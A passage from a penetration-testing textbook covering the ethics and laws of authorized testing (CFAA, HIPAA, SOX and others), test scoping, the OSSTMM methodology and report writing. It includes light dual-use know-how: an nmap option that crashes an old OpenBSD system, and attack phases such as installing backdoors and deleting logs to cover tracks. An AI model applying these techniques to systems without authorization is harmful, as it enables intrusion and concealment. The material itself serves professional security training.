be if someone were to try to steal it. You know that stealing is illegal, and \nyou wonder if it is still wrong if the parents authorize you to do it. The parents ask you to \ndo them this favor and tell them the results.\nPenetration testing is no different from this analogy. You are being asked to perform a task \nthat would otherwise be illegal. Often, the employees of the company have no idea what \nyou are up to, being unaware that the management has requested a penetration test to be \ndone. Informing employees—especially IT staff—might lead to inaccurate results because \nthey might attempt to harden their systems to prevent your access. \nGoing back to the analogy, what if in the process of stealing the bicycle you discover that \nthe back tire looks loose? If the tire comes undone, it could cause harm to the rider. You \nwonder if you should attempt to take the tire off to see if it is easily undone, even though \nthe owners have not asked you to. \nIn penetration testing, you might discover that a host appears susceptible to denial of \nservice (DoS) attacks. A DoS attack is an attack that prevents a host from functioning in \naccordance with its intended purpose. Such attacks can have a severe impact on daily \noperations, preventing users from working or preventing customers from accessing the \ncompany website. Because of the severe impact of DoS attacks, they are not usually \nallowed in penetration testing. When they are, they are usually performed after hours when \ntheir impact would be minimal. \nIt is unethical to perform a DoS attack on your target if the testing contract does not allow \nfor such. Your contract should state, however, that you cannot guarantee against DoS during \ntesting because the unexpected does happen. Sometimes scanning tools that would \notherwise be harmless cause unexpected results. Have a disclaimer clause and \n" }, { "page_number": 49, "text": "22\nChapter 2: Legal and Ethical Considerations\ncommunicate to your client that DoS attacks will not be willfully tested but that they might \noccur in the process of other tests.\nNOTE\nFor example, the NMap tool, used to scan hosts for open ports, has been known to cause \nDoS attacks inadvertently on OpenBSD 2.7 systems that are running IPSec. When you run \nnmap with the –sO option, you cause the OpenBSD system to crash with the following output:\npanic: m_copydata: null mbuf\nStopped at _Debugger+0x4: leave\n_panic(....\nm_copydata(...\n_ipsec_common_input(...\n_esp4_input(....\n_ipv4_input(....\n_ipintr(...\nBad frame pointer: 0xe3b55e98\nPort scans have also been known to cause DoS attacks on Efficient Networks Routers, \npcAnywhere 9.0, and Windows 95 and 98 with Novell intraNetWare Client installed. If \nDoS attacks are not allowed in the test, put a disclaimer in your contract of service that \nstates you will not willfully commit a DoS attack. However, make it clear to the client that \nDoS attacks might be caused inadvertently, as in the examples listed here.\nYour ethical responsibilities do not stop when the test is done, however. After the test is \ncompleted, you should perform due diligence to ensure the confidentiality of the test \nresults. Some penetration testing firms have been known to circulate test results to other \ncompanies as samples of their work. These results contain detailed steps on how to break \ninto an e-finance website for a particular financial institution and collect sensitive customer \ndata. You can imagine the shock of the institution when it discovered these contents being \ndistributed to its competitors! Therefore, as a penetration tester, you are under an ethical \nobligation to keep the details of the report confidential. Shred any hard copies of the report, \nand delete all soft copies using a wiping utility such as PGP or Axcrypt.\nThe Ten Commandments of Computer Ethics\nThe Computer Ethics Institute is a nonprofit 501(3) research and policy study organization \nmade up of the Brookings Institute, IBM, The Washington Consulting Group, and the \nWashington Theological Consortium. They have published the Ten Commandments of \nComputer Ethics, which are as follows:\n1 Thou shalt not use a computer to harm other people. \n2 Thou shalt not interfere with the computer work of other people. \n3 Thou shalt not snoop around in the computer files of other people. \n" }, { "page_number": 50, "text": "Laws 23\n4 Thou shalt not use a computer to steal. \n5 Thou shalt not use a computer to bear false witness. \n6 Thou shalt not copy or use proprietary software for which you have not paid. \n7 Thou shalt not use the computer resources of other people without authorization or \nproper compensation. \n8 Thou shalt not appropriate the intellectual output of other people. \n9 Thou shalt think about the social consequences of the program you are writing or the \nsystem you are designing. \n10 Thou shalt always use a computer in ways that ensure consideration and respect for \nyour fellow humans.\nLaws\nGoing outside of your contractual boundaries is not only unethical, it is also illegal. \nPenetration testers need to be aware of laws that might impact the type of tests they \nperform. \nThroughout history, society has been plagued with different crimes—crimes against people \nand crimes against property. Cybercrime is unlawful activity performed through the use of \ntechnology. Common types of cybercrime include the theft of passwords, network \nintrusions, possession of illegal material (child pornography), fraud, DoS attacks, \neavesdropping, piracy, information warfare (cyberterrorism), malware (malicious software \nsuch as viruses), identity theft, and espionage. With the exception of perhaps DoS attacks, \ncybercrime presents no new types of unlawful activity. Cybercrime still constitutes crimes \nagainst people and property, just by different means.\nCybercrime does pose some new issues, however. Unlike traditional crime, cybercrime \ndoes not have physical constraints. If you were to rob a bank, you would have to arrive at \nthe bank in person. If you were to “rob” an online bank, you could be anywhere in the \nworld. Cybercrime also makes capturing physical evidence harder. Evidence is usually \nvolatile and is often covered up by the perpetrator. Because cybercriminals can be anywhere \nin the world, law officials from different countries might have to work with each other to \ntrack down the cybercriminals. \nTo counteract this last difficulty, nations have sought to reach a consensus. The European \nCouncil Convention on Cybercrime acted to harmonize computer crime laws across \nEuropean nations. Although noble in their attempt, reaching a consensus has been anything \nbut harmonious. Getting more than 180 countries to agree on a single standard for security \nimplementations is a daunting task. At best, there can only be guidelines for nations to use \nas “best-practices” recommendations.\n" }, { "page_number": 51, "text": "24\nChapter 2: Legal and Ethical Considerations\nThe Organisation for Economic Co-Operation and Development (OECD) promotes \npolicies geared toward producing sustainable economic growth. You can read about \nparticipating countries by visiting the OECD website at http://www.oecd.org. In 1992, the \nOECD published Guidelines for the Security of Information Systems and Networks: \nTowards a Culture of Security. On July 2, 2002, this document was updated to reflect \nchanges in information security practices. This document is based on numerous principles, \nbut the one most relevant to penetration testing is the reassessment principle, which states \nthe following:\nParticipants should review and reassess the security of information systems and \nnetworks and make appropriate modifications to security policies, practices, measures, \nand procedures. (page 12)\nSecurity assessments are essential to companies today, and those that want to follow the \nOECD guidelines should integrate regular penetration tests to assess their security \ninfrastructure.\nThe OECD guidelines provide an initial framework for countries to then establish \ngovernment standards and laws. In 1995, the Council Directive on Data Protection for the \nEuropean Union declared that each European nation is to create protections similar to those \nspelled out in the OECD guidelines. \nIn the United States, penetration testers should be aware of two categories of laws:\n•\nLaws pertaining to hacking\n•\nRegulatory laws that produce the need for penetration testing\nU.S. Laws Pertaining to Hacking\nFollowing are examples of these laws:\n•\n1973 U.S. Code of Fair Information Practices\n•\n1986 Computer Fraud and Abuse Act (CFAA)\n•\nState Laws\nNOTE\nAt press time, the one and only computer crime law of the United Kingdom is the 1990 \nComputer Misuse Act. We hope for rapid success in the ongoing efforts to improve on the \nUnited Kingdom legislation on computer crime.\nThe sections that follow provide details on the laws in the preceding list and other laws \npertaining to hacking.\n" }, { "page_number": 52, "text": "Laws 25\n1973 U.S. Code of Fair Information Practices\nThe Code of Fair Information Practices was developed by the Health, Education, and \nWelfare (HEW) Advisory Committee on Automated Data Systems. It is based on the \nfollowing five principles:\n1 There must be no personal data record-keeping systems whose very existence is \nsecret. \n2 There must be a way for a person to find out what information about the person is in \na record and how it is used.\n3 There must be a way for a person to prevent information about the person that was \nobtained for one purpose from being used or made available for other purposes \nwithout the consent of that person. \n4 There must be a way for a person to correct or amend a record of identifiable \ninformation about the person. \n5 Any organization creating, maintaining, using, or disseminating records of \nidentifiable personal data must ensure the reliability of the data for their intended use \nand must take precautions to prevent misuses of the data.\nAlthough this law predates the current trends in penetration testing, it is still pertinent to \nprofessionals in the field. The fifth principle states that organizations must take precautions \nto prevent misuse of the data. As a penetration tester, you might gain access to sensitive \npersonal identifiable information (PII) that you need to protect as if it were your own \ninformation. When a penetration test is finished, you should shred or incinerate PII data \nwith a witness to verify that it has been destroyed.\n1986 Computer Fraud and Abuse Act (CFAA)\nIf there ever were one definitive computer crime law, it would be the 18 § U.S.C. 1030 \nComputer Fraud and Abuse Act (CFAA). Originally based on the 1984 Fraud and Abuse \nAct and ratified in 1996, more computer hacking crimes are prosecuted under this law than \nunder any other. Because of its immediate relevance, a significant portion is quoted here:\n(a) Whoever - (1) having knowingly accessed a computer without authorization or \nexceeding authorized access, and by means of such conduct having obtained \ninformation that has been determined by the United States Government pursuant to an \nExecutive order or statute to require protection against unauthorized disclosure for \nreasons of national defense or foreign relations, or any restricted data, as defined in \nparagraph y. of section 11 of the Atomic Energy Act of 1954, with reason to believe that \nsuch information so obtained could be used to the injury of the United States, or to the \nadvantage of any foreign nation willfully communicates, delivers, transmits, or causes \nto be communicated, delivered, or transmitted, or attempts to communicate, deliver, \ntransmit or cause to be communicated, delivered, or transmitted the same to any person \n" }, { "page_number": 53, "text": "26\nChapter 2: Legal and Ethical Considerations\nnot entitled to receive it, or willfully retains the same and fails to deliver it to the officer \nor employee of the United States entitled to receive it; \n(2) intentionally accesses a computer without authorization or exceeds authorized \naccess, and thereby obtains - (A) information contained in a financial record of a \nfinancial institution, or of a card issuer as defined in section 1602(n) of title 15, or \ncontained in a file of a consumer reporting agency on a consumer, as such terms are \ndefined in the Fair Credit Reporting Act (15 U.S.C. 1681 et seq.); (B) information from \nany department or agency of the United States; or information from any protected \ncomputer if the conduct involved an interstate or foreign communication; \n(3) intentionally, without authorization to access any nonpublic computer of a department \nor agency of the United States, accesses such a computer of that department or agency \nthat is exclusively for the use of the Government of the United States or, in the case of a \ncomputer not exclusively for such use, is used by or for the Government of the United \nStates and such conduct affects that use by or for the Government of the United States; \n(4) knowingly and with intent to defraud, accesses a protected computer without \nauthorization, or exceeds authorized access, and by means of such conduct furthers the \nintended fraud and obtains anything of value, unless the object of the fraud and the thing \nobtained consists only of the use of the computer and the value of such use is not more \nthan $5,000 in any 1-year period; \n(5) (A) (i) knowingly causes the transmission of a program, information, code, or \ncommand, and as a result of such conduct, intentionally causes damage without \nauthorization, to a protected computer; (ii) intentionally accesses a protected computer \nwithout authorization, and as a result of such conduct, recklessly causes damage; or (iii) \nintentionally accesses a protected computer without authorization, and as a result of \nsuch conduct, causes damage; and (B) by conduct described in clause (i), (ii), or (iii) of \nsubparagraph (A), caused (or, in the case of an attempted offense, would, if completed, \nhave caused) - (i) loss to 1 or more persons during any 1-year period (and, for purposes \nof an investigation, prosecution, or other proceeding brought by the United States only, \nloss resulting from a related course of conduct affecting 1 or more other protected \ncomputers) aggregating at least $5,000 in value; (ii) the modification or impairment, or \npotential modification or impairment, of the medical examination, diagnosis, treatment, \nor care of 1 or more individuals; (iii) physical injury to any person; (iv) a threat to \npublic health or safety; or (v) damage affecting a computer system used by or for a \ngovernment entity in furtherance of the administration of justice, national defense, or \nnational security; \n(6) knowingly and with intent to defraud traffics (as defined in section 1029) in any \npassword or similar information through which a computer may be accessed without \nauthorization, if - (A) such trafficking affects interstate or foreign commerce; or (B) such \ncomputer is used by or for the Government of the United States; [1] “r”. \n(7) with intent to extort from any person any money or other thing of value, transmits in \ninterstate or foreign commerce any communication containing any threat to cause \n" }, { "page_number": 54, "text": "Laws 27\ndamage to a protected computer; shall be punished as provided in subsection of this \nsection. (b) Whoever attempts to commit an offense under subsection (a) of this section \nshall be punished as provided in subsection of this section. \nThis law makes it a crime to knowingly access a computer and thereby intentionally cause \ndamage without authorization to a protected computer. The key word here is intent. If a \npenetration tester were to unknowingly cause a DoS attack on a client and the contract does \nnot permit such attacks, the penetration tester would not be guilty of this crime (although \nthere might be consequences with civil law if there were a breach of contract). Acts \ncommitted by negligence are not covered under this law. \nSecurity professionals who are knowledgeable of the tools and techniques covered in this \nbook are sometimes tempted to try them at their workplace or against other organizations. \nThese offenses come with serious penalties, however. Brett O'Keefe, the former president \nof a computer security consulting firm, was indicted in September 2003 for gaining access \nand stealing files belonging to NASA, the U.S. Army, the U.S. Navy, the Department of \nEnergy, and the National Institute of Health by using some of the same techniques \nmentioned in this book. His case is ongoing, but he faces a potential 30 years in prison and \na $250,000 fine.\nViolators of 18 § U.S.C. 1030 can face fines and imprisonment up to 20 years. \nNOTE\nBecause of sentencing guidelines, however, it is rare to find criminals sentenced to more \nthan 5 years. Peter Borghard, for example, was sentenced to only 5 months in prison in June \n2004 for cracking into the Internet service provider (ISP) Netline Services and causing a \n15-hour disruption in service to its customers. David Smith, the creator of the Melissa virus \n(1999) that caused $80 million in damage, was sentenced to only 20 months in federal \nprison. These cases differ from the Brett O'Keefe case, however, in that these are not attacks \nagainst U.S. government or military facilities.\nState Laws\nMost states have their own computer crime laws. Generally, states divide their hacking and \ncracking laws into simple hacking crimes (basic unauthorized access) and aggravated \nhacking (unauthorized access that results in the commission of further criminal activity). \nSimple cracking laws are typically misdemeanors, whereas aggravated hacking crimes are \nfelonies. Hawaii is an exception to this because it extends unauthorized access into first-\ndegree, second-degree, and third-degree computer damage. \nCases prosecuted under state law are rare, however. As soon as a malicious attack crosses \nstate lines, it becomes a federal offense. Because the Internet is a global network, and the \nInternet is the primary means that malicious hackers use to perform their attacks, most \ncases are prosecuted in federal courts. Cases can be tried in both federal and state court. \nDouble jeopardy laws that prevent being tried twice for the same crime do not apply if the \n" }, { "page_number": 55, "text": "28\nChapter 2: Legal and Ethical Considerations\ncriminal charges are different. Therefore, computer crime could be brought before both \nstate and federal courts.\nTo compare state laws, see http://nsi.org/Library/Compsec/computerlaw.\nRegulatory Laws \nIn the preceding section, you read about laws pertaining to computer hacking. This section \nexamines the following regulatory laws that can lead to the need for penetration testing:\n•\n1996 U.S. Kennedy-Kasselbaum Health Insurance Portability and Accountability Act \n(HIPAA)\n•\n2000 Graham-Leach-Bliley Act (GLBA)\n•\n2001 USA PATRIOT Act\n•\n2002 Federal Information Security Management Act (FISMA)\n•\n2003 Sarbanes-Oxley Act (SOX)\n1996 U.S. Kennedy-Kasselbaum Health Insurance Portability and Accountability \nAct (HIPAA)\nThe U.S. Kennedy-Kasselbaum Health Insurance and Accountability Act (Public Law 104-\n191) was enacted on August 21, 1996 to combat fraud and abuse while improving access to \nhealth care services. Section 1173 (a)(2)(1) defines security standards for health \ninformation. It reads as follows: \n SECURITY STANDARDS FOR HEALTH INFORMATION.--\n“(1) SECURITY STANDARDS.--The Secretary shall adopt security standards that--”\n(A) take into account--“(i) the technical capabilities of record systems used to maintain \nhealth information; ”(ii) the costs of security measures; “(iii) the need for training \npersons who have access to health information; ”(iv) the value of audit trails in \ncomputerized record systems; and “(v) the needs and capabilities of small health care \nproviders and rural health care providers (as such providers are defined by the \nSecretary); and”(B) ensure that a health care clearinghouse, if it is part of a larger \norganization, has policies and security procedures which isolate the activities of the \nhealth care clearinghouse with respect to processing information in a manner that \nprevents unauthorized access to such information by such larger organization. \n“(2) SAFEGUARDS.--Each person described in section 1172(a) who maintains or \ntransmits health information shall maintain reasonable and appropriate administrative, \ntechnical, and physical safeguards—”(A) to ensure the integrity and confidentiality of \nthe information; “(B) to protect against any reasonably anticipated--”(i) threats or \nhazards to the security or integrity of the information; and “(ii) unauthorized uses or \n" }, { "page_number": 56, "text": "Laws 29\ndisclosures of the information; and ” otherwise to ensure compliance with this part by \nthe officers and employees of such person.\nHealth care professionals are responsible for ensuring the integrity and confidentiality of \nindividually identifiable health information (IIHI). Anyone caught who knowingly \ndiscloses IIHI can face up to $100,000 in fines and up to 5 years in prison (Section 1177). \nThe responsibility for health care professionals was extended to technology and software \nvendors on April 30, 2003 when the Department of Health and Human Services enacted the \nfinal rule on security practices, which included three safeguards to protect electronic public \nhealth information (EPHI).\nAs mentioned in section 1173, every health care entity that transmits PII should maintain \nadministrative, technical, and physical safeguards. Administrative safeguards relate to \npolicies and procedures affecting the transmission of EPHI. This also covers security \nawareness and training. Technical safeguards relate to software and hardware technology. \nThis inclusion extends the responsibility onto software vendors and business partners who \ninteract with health care organizations. Physical safeguards relate to physical protection of \npatient records. This encompasses both hard copies and technical equipment that stores soft \ncopies of patient information. Physical security for technical equipment extends to \nworkstation use and security.\nAs part of the administrative safeguards, organizations are required to perform periodic \ntechnical and nontechnical evaluations to determine their compliance with federal \nregulations. If you perform penetration testing against health care institutions, you should \nspecifically attempt to obtain EPHI from them. This entails both attacking databases (see \nChapter 8, “Performing Database Attacks”) and social engineering (see Chapter 4, \n“Performing Social Engineering”).\nNOTE\nWhether you are successful in getting EPHI, you would be well-advised to suggest that the \nclient encrypt all EPHI. If someone does manage to obtain a copy of the data, no fines will \napply if the data is encrypted because no loss will have occurred.\nGraham-Leach-Bliley (GLB)\nBefore the Graham-Leach-Bliley act of 1999 (enacted in 2000), there was little certainty \nthat your private financial information was kept confidential. This act intends to protect \nprivate personal data while in storage by implementing security access controls. All banks, \ncredit unions, investment companies, and their partners are impacted by this act.\nTitle V requires clear disclosure of the privacy policy of a financial institution regarding \nhow and when personal information is shared with other financial institutions. Penetration \ntesters should be familiar with the policy of the institution and test to verify its accuracy. \n" }, { "page_number": 57, "text": "30\nChapter 2: Legal and Ethical Considerations\nSpecifically, you should test that personal nonpublic financial data is not accessible outside \nthe boundaries posed in the policy. \nUSA PATRIOT ACT\nAfter the terrorist attacks against the United States on September 11, 2001, the U.S. Senate \nrealized that it could not deal with terrorist threats as it did in antebellum days. To allow for \nmore available means to intercept potential threats, the Senate passed the “Uniting and \nStrengthening America by Providing Appropriate Tools Required to Intercept and Obstruct \nTerrorism Act” (USA PATRIOT Act) on October 21, 2001. \nAmong other things, this act enhances surveillance procedures by making it easier for law \nofficials to intercept electronic communications relating to computer crimes. Included \nwithin the PATRIOT Act is the Critical Infrastructure Protection Act of 2001 (Section \n1006), which encourages a continual national effort to protect the cyber community and \nother infrastructure services critical to maintaining economic prosperity and national \ndefense. It calls for the analysis of cyber and telecommunications infrastructure security. \nPenetration testers are hired to assist in this analysis by attempting to break into simulated \nenvironments established by the U.S. government. \n2002 Federal Information Security Management Act (FISMA)\nThe purpose of this act is to strengthen the security access controls and policies to protect \nnetwork infrastructures that support U.S. federal government operations. Section 3544 \nrequires federal agencies to assess the “risk and magnitude of the harm that could result \nfrom the unauthorized access, disclosure, disruption, modification, or destruction of such \ninformation or information systems” and to periodically test “information security controls \nand techniques to ensure that they are effectively implemented.”\nSimilar to the PATRIOT Act, this act broadens the scope of federal security beyond terrorist \nthreats while drilling down specifically to federal information infrastructures. While the \nPATRIOT Act addresses telecommunications and cyber threats, this act addresses federal \nnetworks. Telecommunications and cyber threat testing is usually performed in simulated \nenvironments as recommended in the PATRIOT Act, whereas security assessments referred \nto in FISMA are done against live and simulated federal networks.\n2003 Sarbanes-Oxley Act (SOX)\nSection 404 of the Sarbanes-Oxley Act requires all CEOs and CFOs of Security and \nExchange Commission (SEC) reporting companies with a market capitalization in excess \nof $75 million to provide written reports that assess the effectiveness of their internal \ncontrol systems. Noncompliance can result in fines up to $5 million and imprisonment up \nto 20 years.\n" }, { "page_number": 58, "text": "Logging\n31\nThe best type of penetration testing related to this act is gray-box testing. Here, you are \nhired and granted access to a company network as a typical user. Your job is to see what \ndata and control systems you are able to manipulate or damage that can result in financial \ngains for someone in the company. \n Non-U.S. Laws Pertaining to Hacking\nThe United States is not the only country to have computer crime laws. Those at the \nforefront of prosecuting computer crime are Australia, Canada, France, Germany, Iran, \nJapan, North and South Korea, Saudi Arabia, and the United Kingdom. Although the \nindividual laws are too numerous to mention here, one that is worth mentioning is the UK \nComputer Misuse Act of 1990.\nThis act is mentioned for two reasons:\n•\nIt has had a significant impact on the decisions made by the European Council \ndirectives against computer crime and privacy. \n•\nThe penetration testing field in England is popular, and its popularity is only going to \ncontinue growing.\nIn brief, this act defines three computer offenses:\n•\nUnauthorized access to computer material\n•\nUnauthorized access with intent to commit or facilitate commission of further \noffences\n•\nUnauthorized modification of computer material\nThis law is the only law in the UK that pertains to computer crime. As you can tell by the \ndate of its inception (1990), it is outdated by the standards of today. This leads the security \ncommunity to call parliament to revise their act. Currently, it is difficult to prosecute against \nattacks that were not common in 1990, such as DoS attacks.\nNevertheless, the law is being used to prosecute against computer crime. Penetration testers \nshould be careful that their contract is fully authorized by their requestor; otherwise, they \nmight be in violation of this act.\nLogging\nThe goal of a penetration tester is distinct from that of a malicious hacker, although their \nmethods might be the same. A hacker attempts to break into a network for malicious \npurposes; this can be, but is not limited to, such things as defacing a website, obtaining \nsensitive data, or causing the failure of networked services to operate. A penetration tester, \non the other hand, is hired for the purpose of assessing the security posture of a company. \n" }, { "page_number": 59, "text": "32\nChapter 2: Legal and Ethical Considerations\nWhereas a hacker might spend months targeting a single site, a penetration testing firm is \nusually under a limited time frame. \nBecause the intent of a penetration tester is distinguished from that of a malicious hacker, \nthe testing firm should ensure that he is auditing his actions. This serves two purposes: \n•\nAn audit trail is kept internally that can be of assistance when compiling the report. \n•\nIf a company is hacked while the testing is occurring, the audit trail could separate the \nactions of the testing firm from the attacker. \nA penetration tester should keep detailed logs of his actions. This should include time of \nday, type of attack, test output, and any relevant screen shots. A separate file should be kept \nof these logs to be used in the creation of the report and to confirm the test results to the \nclient. \nTo Fix or Not to Fix\nA security testing firm needs to decide if it will secure vulnerabilities found in the testing. \nOne unethical practice of some network integration firms is to offer free penetration tests \nin return for being the preferred solutions provider to secure the company infrastructure. \nBecause providing technology solutions is the ultimate goal of the firm, not assessing \nsecurity, the integrator might state false or exaggerated claims on the company security to \nincur business. For example, although the risk to a firewall breach might be minimal, the \nreport might embellish the severity of the vulnerability to turn around and sell a firewall \nsolution to the customer. \nMany penetration testing firms do not offer to fix security vulnerabilities they find. This is \nto avoid the temptation to embellish the report to gain business and to limit the liability \nthreat. If a penetration testing firm offers suggestions on how to fix found vulnerabilities, \nbut the solution does not secure the target adequately, the testing firm can be liable for false \nguarantees. However, it is not enough to mention vulnerabilities without specifying how to \nsecure the problem. Therefore, the best practice is to provide a disclaimer that the solutions \nprovided are suggestions only and that there is no guarantee that a host will be secured by \nfollowing the suggestions. \nSummary\nBefore you engage in penetration testing, you should understand the laws and ethics \ninvolved in ethical hacking. You have an ethical responsibility to your clients to ensure the \nconfidentiality of your tests and their results. The testing boundaries should be clearly \ndelineated in your contract, and you should practice due care to ensure you do not step \noutside these boundaries.\n" }, { "page_number": 60, "text": "Summary 33\nSeveral laws are relevant to penetration testing. There are European laws and guidelines, \nsuch as the OECD 2002 Guidelines and the UK Computer Crime Act and the European \nCouncil. U.S. laws include the 1973 U.S. Code of Fair Information Practices, the 1986 \nComputer Fraud and Abuse Act (18 U.S.C. § 1030), the 2002 Federal Information Security \nManagement Act, and state laws (although the latter is seldom used in prosecuting cases).\nThere are also U.S. regulatory laws that present the need for penetration testing. Testers \nshould be knowledgeable of these as they pertain to their client market. These include the \nfollowing:\n•\nHIPAA\n•\nGLBA\n•\nUSA PATRIOT\n•\nFISMA\n•\nSOX\nThroughout the entire testing process, you should log your actions for auditing and \nreporting purposes.\nFinally, you need to determine how involved you are going to be in providing security \nsolutions for your client. If you do offer suggestions to your client on how to secure the \nclient infrastructure, you should provide disclaimers that clarify the suggestions as such.\n" }, { "page_number": 61, "text": "Failing to prepare is preparing to fail.\n—John Wooden (Former head coach, UCLA men's basketball team)\n" }, { "page_number": 62, "text": "C H A P T E R 3\nCreating a Test Plan\nAs with all great projects, success comes with having a solid methodical plan. Penetration \ntesting is not about jumping into a security assessment project by running several tools at \nrandom. Penetration testing is about creating a methodical, step-by-step plan that details \nexactly what you are going to do, when you are going to do it, and how.\nThis chapter outlines the steps needed to create a methodical plan, from narrowing the \nscope of the project, to using the Open-Source Security Testing Methodology Manual \n(OSSTMM), and finally to writing up the testing report.\nStep-by-Step Plan\nEvery good penetration test involves the following steps:\n1 Reconnaissance—The initial stage of collecting information on your target network\n2 Enumeration—The process of querying active systems to grab information on \nnetwork shares, users, groups, and specific applications\n3 Gaining access—The actual penetration \n4 Maintaining access—Allowing the tester a backdoor into the exploited system for \nfuture attacks\n5 Covering tracks—The process of deleting log file entries to make it appear that you \nwere never on the exploited system\nChapter 5, “Performing Host Reconnaissance,” addresses the reconnaissance step. The last \nfour steps, which are typically done in sequence, are covered in the remaining chapters. \nBefore you can perform the first step, however, you and the client (or management, if you \nare doing an internal test) must do the following:\n•\nNarrow the scope of the project\n•\nDetermine if social engineering will be employed\n•\nDecide if session hijacking attempts will be allowed\n•\nAgree on the use of Trojan and backdoor software \n" }, { "page_number": 63, "text": "36\nChapter 3: Creating a Test Plan\nDefining the Scope\nPenetration testing is a lot like a pirate looking for buried treasure. The pirate does not know \nexactly where the buried treasure is, but he knows it is valuable enough to go looking for it. \nA pirate has a treasure map full of clues all geared to direct him toward the buried treasure. \nIn the same way, penetration testers are on a quest to infiltrate a client network. The testers \ndo not know in advance how they are to go about infiltrating the network, but in the end, \nthe results of the test have to be worthwhile to the client. If a client is most concerned with \nthe security of their Internet presence, then you should not devote your time to trying to \nbreak into the internal network. Likewise, if the client is concerned only about the security \nof his accounting department, it does not make sense to devote your time to other \ndepartments. \nThe first step, then, is to narrow the scope of your test to what is meaningful to the client. \nAsk the client what he hopes to achieve through this testing. Perhaps he only wants to assess \nwhether he is vulnerable to having account information stolen, or the scope might extend \nto any type of attack. Ideally, all possible means of attacks should be allowed to provide the \nmost realistic scenario of a real malicious attack, but this is seldom the case. Budget \nconstraints, concerns over denial of service (DoS) attacks disrupting daily information, and \nthe protection of employee privacy are often deterrents that prevent organizations from \nauthorizing all forms of attacks.\nSocial Engineering\nSocial engineering, described in more detail in Chapter 4, “Performing Social \nEngineering,” is the process of human-based manipulation to achieve access. Some \norganizations permit the use of social engineering, and some do not. You need to discuss \nthis with the client (and have it in writing) before you begin testing.\nSession Hijacking\nSession hijacking, described in more detail in Chapter 6, “Understanding and Attempting \nSession Hijacking,” is the process of taking over a TCP session between two machines to \ngain access to an unauthorized system, as illustrated in Figure 3-1.\nIn Figure 3-1, the penetration tester is listening to network traffic being sent from User A \nto the server. The penetration tester takes over the session and appears to the server as that \nuser. To make this work, the penetration tester has to drop User A off the network (usually \nthrough sending a TCP reset packet). This can be disruptive to day-to-day operations and it \nis often not permissible to perform these tests. \nAn alternative is to create a lab environment that contains equivalent network equipment. \n" }, { "page_number": 64, "text": "Open-Source Security Testing Methodology Manual 37\nFigure 3-1\nSession Hijacking\nTrojan/Backdoor\nAnother factor requiring authorization before performing tests is whether the use of Trojans \nor other backdoor software is to be allowed. Encourage the client to allow this. Many of the \nmore cunning attacks use backdoor applications and Trojans. If you want to have accurate \nresults, you need authorization to use these applications. \nIf you do agree on the use of Trojan applications and other backdoor applications, be careful \nabout what tools you use. Some websites give you the option of downloading Trojan and \nbackdoor tools such as Netcat, but they contain their own virus embedded in the program. \nThese viruses, when put on a client machine, can propagate throughout the network, \ncausing havoc on servers and end user computers.\nOpen-Source Security Testing Methodology Manual\nAs you know, it is pointless to reinvent the wheel if it has already been made. Peter Herzog, \nat the Institute for Security and Open Methodologies (http://www.isecom.org), along with \n30 contributors from various security organizations, has created the Open-Source Security \nTesting Methodology Manual (OSSTMM) so that penetration testers do not have to \nreinvent the wheel when designing a methodology for security auditing. \nThe OSSTMM addresses the following areas of security assessment, as illustrated in Figure 3-2:\n•\nInformation security\n•\nProcess security\n•\nInternet technology security\n•\nCommunications security\nServer\nUser A\nPenetration \nTester\nDrops User A Off \nthe Network\nTakes Over Session as\nUser A. Server Is Unaware\nTCP Session\n" }, { "page_number": 65, "text": "38\nChapter 3: Creating a Test Plan\n•\nWireless security\n•\nPhysical security\nFigure 3-2\nOSSTMM Security Map\nNOTE\nA Spanish version of the OSSTMM is available for free download at http://\nwww.osstmm.org. \nEach of the areas of security assessment is further broken down into specific modules. For \nexample, the wireless security area (page 71 in the OSSTMM document) is broken down \ninto eleven modules:\n•\nElectromagnetic radiation testing\n•\n802.11 wireless network testing\n•\nBluetooth testing\n•\nWireless input device testing\nProcess Security\nInformation \nSecurity\nPhysical \nSecurity\nWireless\nSecurity\n©2000–2003 Peter Herzog, ISECOM\nCommunications \nSecurity\nInternet \nTechnology\nSecurity\n" }, { "page_number": 66, "text": "Open-Source Security Testing Methodology Manual 39\n•\nWireless handheld testing\n•\nCordless communications testing\n•\nWireless surveillance device testing\n•\nWireless transaction device testing\n•\nRFID testing\n•\nInfrared testing\n•\nPrivacy review\nEach of these modules is further broken down to detail what a security auditor should test. \nFor example, under Bluetooth testing (page 75), the auditor should do the following:\n1. Verify that there is an organizational security policy that addresses the use of wireless \ntechnology, including Bluetooth technology.\n2. Perform a complete inventory of all Bluetooth wireless devices.\n3. Perform brute force attacks against Bluetooth access points to discern the strength of the \npassword. Verify that passwords contain numbers and special characters. Bluetooth access \npoints use case-insensitive passwords, which makes it easier for attackers to conduct a brute \nforce guessing attack due to the smaller space of possible passwords.\n4. Verify the actual perimeter of the Bluetooth network.\n5. Verify that the Bluetooth devices are set to the lowest power setting to maintain sufficient \noperation that will keep transmissions within the secure boundaries of the organization.\nThe OSSTMM, although broader than just penetration testing, serves as a good framework \nto start with. \nNOTE\nAnyone can contribute to the OSSTMM project. If you want to contribute to it, go to \nhttp://www.isecom.org/contact.shtml. \nAfter you have collected the data, you can begin your assessment. Figure 3-3 illustrates the \ncomplete process from the point of signing the contract to the point of writing the report.\n" }, { "page_number": 67, "text": "40\nChapter 3: Creating a Test Plan\nFigure 3-3\nPenetration Testing Life Cycle\nAfter you have collated and analyzed all data, it is time to write your report.\nDocumentation\nA penetration test is useless without something tangible to give to a client or executive \nofficer. A report should detail the outcome of the test and, if you are making \nrecommendations, document the recommendations to secure any high-risk systems.\nThe report should contain the following sections:\n•\nExecutive Summary\n•\nProject Scope\n•\nResults Analysis\n•\nSummary\n•\nAppendixes\nExecutive Summary\nThe Executive Summary is a short high-level overview of the test. It is written for key \nexecutives who want to know the bottom line about how this affects their company but \nContract Signed\nReconnaissance Begins\nData Gathering Ends,\nAnalysis Begins\nReport and Present\nReport Is Written\nEnumeration-Gaining Access- \nMaintaining Access-Covering \nTracks\n" }, { "page_number": 68, "text": "Documentation\n41\nprobably do not care much about the technical details. A sample Executive Summary would \nread as follows:\nExecutive Summary\nThis report details a recent intrusion test on as performed by \nbetween the dates of . contracted on to assess the security of 's [public/private] network by emulating the \ntechniques of a malicious attacker. A combination of tests was executed against [public/private] network, including port scans, exploit tests, ICMP scans, and other \nmeans to be detailed later in the report. \nAfter reviewing the results of the tests, recommends the following to \nimprove network security:\n\nIncluded in this report is a brief introduction about intrusion testing and an explanation of \nthe scope of tests performed. This is followed by the complete results of the test and \nassessments of the results.\nAs the sample demonstrates, you should keep the Executive Summary brief. It is usually \nonly a page long. You might encounter executive officers who 